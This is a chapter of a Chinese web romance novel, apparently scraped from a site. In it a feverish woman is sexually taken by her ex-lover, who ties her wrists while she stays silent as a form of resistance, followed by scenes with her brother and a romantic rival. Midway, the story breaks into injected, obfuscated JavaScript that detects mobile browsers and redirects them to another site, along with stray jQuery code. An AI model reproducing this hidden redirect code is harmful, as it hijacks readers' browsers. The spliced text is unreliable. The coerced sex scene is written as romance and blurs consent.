20. 你的身体只属于我

作品:《占有南一[破镜重圆]

    纪南一扶着墙,一步步往后退。


    手碰到开关,啪——地一声关了吊灯,只有斜对面还亮着一束落地暖光。


    屋里突然黑了好多,落地灯软绵绵地往这边照,光线都被周弋楠高大的身影挡住。


    他的轮廓开始变成模糊的黑影,他又慢条斯理解袖口的扣子。


    向纪南一逼近。


    纪南一后退一步,周弋楠就上前一步,他的脚尖抵着她的脚尖。唯有后退才能拉开一些两人的距离,纪南一没得选,就只能往后推。


    忽然一声响。


    墙角的充气床垫被纪南一撞倒,掀起风在她小腿盘旋了一阵。


    床垫没什么重量,倒地时声音没那么惊心。还没有隔壁摔门的声音大,但却让纪南一差点破了胆。


    她腿软,跌坐下去,撑着双臂仰在床垫上。


    纪南一胳膊撑在两侧,支着上半身抬头看周弋楠。


    他已经走过来,衬衫从腰际散出来,领扣也解了一半。


    周弋楠背着光,看不清他的脸,只看见他手上动作不停,解完扣子就脱衬衫。


    脱了就扔掉。


    再一只手抓住工字背心的领口,从胸前往上一提,背心也脱了。


    再扔掉。


    光线勾勒出他平直好看的肩膀,还有线条流畅的手臂,他的手臂很好看,修长紧致但不缺力量。


    纪南一曾经很喜欢。


    她记得周弋楠说过,他的胳膊比一般人长一些,一般人的臂展差不多等于身高,而他的臂展比身高要长四五厘米。


    地上都是衣服。


    周弋楠居高临下站在纪南一面前,纪南一目之所及就是他腰侧的肌肉,线条清晰延伸进西装裤里。


    他又开始解皮带,单手解,一边解一边俯身朝纪南一压过来。


    她感觉手边的床垫在往下陷,接着另一边也陷下去,周弋楠就那么跪着,将她圈在身下。


    他的手覆着纪南一手背,食指在她的手腕摩挲。


    滚烫的鼻息吹在纪南一脸上,脖子上生出酥麻,她不敢动弹。


    周弋楠倾身更靠近她,将领带一点一点缠上纪南一手腕。纪南一能感受到由松至紧的禁锢,好像在告诉她逃无可逃。


    “前面还是后面。”


    滚热的唇贴着纪南一的耳垂,重音在最后两个字,听着不像询问。


    可能是又发烧了,纪南一感觉浑身发冷,冷的打颤。


    周弋楠不等纪南一答话,长指点在她唇上轻揉,然后滑过脸颊,插进发缝,手心掌住她的后颈。


    接着是吻。


    用力地吻。


    没有轻柔的试探,是霸道又急切的索取。


    舌尖撬开齿关,带着她的软舌缠绵,吮吸。她想躲,他就更疯狂,像沙漠里缺水数天的旅人,在她口中汲取生命之泉。


    纪南一被搅弄得神志不清,僵硬滚烫的身体忘了反抗,半推半就。


    她被亲得有些窒息,哼唧着捶他的胸口,他就捏着她的脸颊换气。纪南一躲开,周弋楠就钳住她的下巴,执拗得让她与自己对视。


    然后哑着声音问她,“行不行?”


    纪南一不说话,他就更甚,更猛更烈,再问,“够不够?”


    脑中绽出无数朵烟花,纪南一飘忽忽如置身云端。她用最后的意识咬住唇,死死咬住,不发出一点声音。


    她安慰自己,不回应也是一种反抗。


    玄关处有面穿衣镜,映着纪南一的脸。


    要哭不哭,似笑非笑。


    迷离,羞耻,沉沦,无数种情绪混在她脸上,她扭头不看,仿佛看不见就没有发生。


    充气床垫不着力,纪南一就扶墙。


    汗水滴在她后背,就那么一滴一滴的,都滚烫滚烫。


    过了很久。


    纪南一浑身酸软,听着浴室水声,然后是脚步声。


    周弋楠用温水帮纪南一清理,她撇开脸躺着,身上还盖着他的浅灰色西装。


    然后是关门的声音。


    屋里陷入死寂。


    纪南一躺了一会,起身收拾残局,没一会收到急送的外卖。


    她眼睛有点肿,鼻子更堵,眼皮很重很重。


    拿茶几上的耳温枪测了下,38.3度。她拆开布洛芬,挤出一粒吞掉。


    口太干了,胶囊黏在嗓子眼,纪南一又喝了口水,还是周弋楠倒的那杯,现在已经不热了。


    她拢着桌上的体温计跟药盒,一股脑全装进塑料袋里,打了个结扔在沙发上。两只手握拳在太阳穴用力地揉。


    感觉脑子快炸了。


    她不想回忆刚刚发生了什么,但越是压制神经就更活跃。


    他的喘息声透过齿缝传进她的耳朵,这是对她最大的羞辱。


    唯一的骨气就是她死死咬着没出声。


    周弋楠一遍遍问她够不够。


    纪南一没出声。


    纪南一坐在沙发上失神,听见纪天宝开门进来。


    今天他好像回来得特别晚。


    他提着一个大号白色购物纸袋进门,兴奋蹦到纪南一面前,“将将!”


    他天生戏精,动作夸张拿出里面的黑色包装盒,像个柜哥一样,又似即将要展示什么稀世珍宝,在纪南一面前郑重掀开盖子。


    一只最新款包包,黑色,做旧肩带,双C标志。


    他本就神经大条,加上屋里已经被纪南一收拾过,没发现什么异样。


    但看见纪南一无精打采又略带肿胀的脸,忽然心领神会,“你也中招了?”


    纪南一阖了阖眼皮,算是回应。


    “哎,怪我。”纪天宝鼻子也堵着。


    纪天宝放下包,坐到纪南一身边,


    “我本来挺小心的,这么热的天,坐地铁也戴了口罩。但我对面的同事先中招了,我俩上班天天交换空气,前几天还跟他一起吃过饭,倒霉。”


    他看见沙发上的塑料袋,拆开翻了翻,“差不多就这些药。”


    纪南一硬挤出一点兴致。


    拿起包看,两面漆皮,很大,能同时装下电脑和平板。又酷又飒,很适合她,就问纪天宝,“哪来的?”


    “买的啊。”


    “哪买的?”


    “专柜,还能哪买。”


    “给我的?”


    “当然了。”


    纪天宝直男一个,刚毕业,也没什么钱,纪南一没想到他会给自己买包。


    这是新款,秀场款,最起码最起码也要三万。


    “我不要,你拿去退了。”纪南一把包塞到纪天宝怀里。


    纪天宝懵,“怎么,不喜欢?不喜欢可以去换啊,哪有买了还退货的,多丢脸啊。”


    纪南一又看了眼那只包,说实在的,纪天宝还挺会选,选在她的审美上,但她不打算要,就说,“不喜欢。”


    “别。”


    纪天宝又把包扔给纪南一,


    “我在你这里吃喝住到现在,总要意思一下。房子我找好了,过几天就搬,你自己一个人在家记得锁门。”


    “我是你弟,亲弟,现在赚钱了,给你买个包不是理所应当的么。爸妈他们我也给包了红包。”


    纪天宝说到这又挠头,“不过没你的多。”


    鼻子忽然发酸。


    纪南一想起来她高中有年生日,纪天宝坐了半小时公交从初中赶过来找她,匆匆忙忙塞给她一支小盒子,就又赶回学校。


    她拆开盒子,里面是一只口红,金色的壳,里面是正红色的膏体。可能在十几岁的小男孩眼里,口红就只有这样的颜色吧。


    那会还不算很热,口红尖尖已经有点融化。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792907|158202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她想,这个小男孩一定花了很多时间,跑遍了所有地摊,才终于选中这支最满意的。


    纪南一忽然扁嘴,下巴皱成一颗话梅。


    她本以为自己没有港湾,所以她足够坚强。


    纪天宝的存在让她觉得自己好像还有点依靠,突然就来了委屈。


    想想刚才的事,她觉得好委屈。


    眼泪啪啪往下掉,砸在包包上,漆皮防水,眼泪又重新凝成更大的泪珠往下滚。


    纪天宝有些无措,“怎么了,我又不是第一次送你礼物,怎么感动成这样了。”


    他拿纸巾给纪南一擦眼泪,又一下一下拍她的后背,“别这么轻易感动老姐,你不是霸王花嘛,以后可别被男人一个包就骗走了。”


    纪南一被纪天宝逗笑了,塞着鼻子,依旧吹出老大一个鼻涕泡。


    逗得纪天宝也大笑,捂着肚子笑,“这也别被男人看见了,免得没人要你!”


    之后的两天纪南一情绪都不高,一个人的时候她会想起周弋楠,带着复杂的恨意。


    于很多人而言,初恋就是白月光,在没与周弋楠重逢前,纪南一也是这么认为的。


    那个阳光正义又细腻的少年,用心浇灌她,让她在二十几岁的年纪终于开出青春的花。


    现在纪南一彻底死心了,她不会再对周弋楠有一丝滤镜。


    人是会变的,现在的周弋楠恶劣到让她觉得恶心。


    周六纪南一又去了趟枫林公馆,这次是受林彤的邀请。


    她长了上次的记性,在花店包了束花,过去的时候很早,林彤在指挥阿姨们装饰花园。有穿厨师服的人在摆甜品台。


    见到纪南一后,林彤就领着她去二楼,保姆送上来茶水和点心,两人就站在二楼往下看,边看边聊天。


    “今天是有人过生日吗?”纪南一端着杯子往花园看。


    那边气球鲜花铺得很大一片,比之前林彤生日要华丽得多。


    林彤低头笑了笑,“是给弋楠准备的,今天他生日。”


    纪南一不自觉扣紧拇指,现在听到周弋楠的名字她会应激。


    林彤没发现异样,两手捧着杯子在掌心滚着玩,“最近我们之间闹了些误会,我想给他办个生日宴,调和一下关系。”


    纪南一看着林彤。


    林彤问她:“我看起来像是会主动的女孩子吗?”


    纪南一不知道怎么回答。


    林彤笑了下,“其实在别人面前我还挺矜持的,但是在弋楠面前不行。”


    她转身靠着阳台,头发被太阳晒得反光,纪南一盯着看久了都觉得晃眼。


    “我好喜欢他,第一次见到就喜欢他。我求姑父牵线,让我去他的公司实习,去给他当助理。他这个人性子冷冷的,但做事认真,也负责。答应了姑父教我,就真不遗余力的教,他还夸过我聪明。”


    林彤勾着鬓角的碎发堆到耳后,“我想人心都是肉长的吧,我就跟他十年八年,总能感动他。”


    纪南一不知道林彤为什么说这些,就静静地听。


    她带的花放在长桌上,二楼有风,吹着花瓣规律地动。


    “好奇怪哦,这些话我都不会跟姑姑说,但是却能对你说,南一姐,我觉得你特靠得住。”


    林彤眼眶红红的,拉纪南一去长桌边坐下,“那天我心情不太好,石头你带了吧?现在挑挑看吧,我还挺喜欢那样的蓝色。”


    “哦,带了。”纪南一翻包。


    林彤还夸了她的新包,说她也喜欢,但她身高不够,背不出那个气场,说这个包包很贴纪南一的气质。


    纪南一笑笑,说是弟弟送她的。


    她把几颗备选帕拉伊巴摆到桌上,旋转楼梯那有动静,纪南一和林彤齐看过去。


    看见正站在往下几阶楼梯的周弋楠。